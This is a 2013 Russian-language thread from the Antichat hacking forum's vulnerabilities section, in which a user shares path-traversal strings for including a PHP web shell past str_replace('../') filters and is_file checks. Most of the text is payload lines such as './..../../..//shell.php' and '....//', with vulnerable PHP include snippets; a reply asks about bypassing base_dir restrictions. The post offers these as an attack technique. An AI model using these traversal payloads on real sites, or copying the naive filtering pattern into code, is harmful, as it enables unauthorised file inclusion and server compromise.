PHP Include Fuzzing: Новое

Discussion in 'Уязвимости' started by randman, 1 Aug 2013.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Предположим, структура такова:
    PHP:
    ./scriptdir/include.php
    ./shell.php
    Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:
    PHP:
    ./..../../..//shell.php
    ./..../..//../shell.php
    ./....//../../shell.php
    ./.../../.././shell.php
    ./.../.././../shell.php
    ./..././../../shell.php
    ./../..../..//shell.php
    ./../....//../shell.php
    ./../.../.././shell.php
    ./../..././../shell.php
    etc
    Это все эквивалентно этому:
    PHP:
    ./../shell.php
    Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.
     
    #1 randman, 1 Aug 2013
    Last edited: 1 Aug 2013
  2. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Помню в 1 из видео точно было.
    Если бы что-нибудь подобное для обходе base_dir...
     
    _________________________
    #2 VY_CMa, 1 Aug 2013
    Last edited: 1 Aug 2013
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    По заданным вопросам, что мне пришли(Я обязательно отвечаю). Для такой фильтрации:
    PHP:
    $file str_replace("../","",$file);
    Есть 2 стандартных обхода, а именно:
    Code:
    ..[COLOR=RED]../[/COLOR]/
    .[COLOR=RED]../[/COLOR]./
    
    Все они прозрачны для кода после фильтрации. У меня другой вариант, о котором я решил написать здесь что-бы вы знали его существование:
    PHP:
    if(is_file($file))
         include(
    './'.str_replace("../","",$file));
    ...
    if(
    is_file($file) && is_file(str_replace("../","",$file)))
         include(
    './'.$file);
    ...
    etc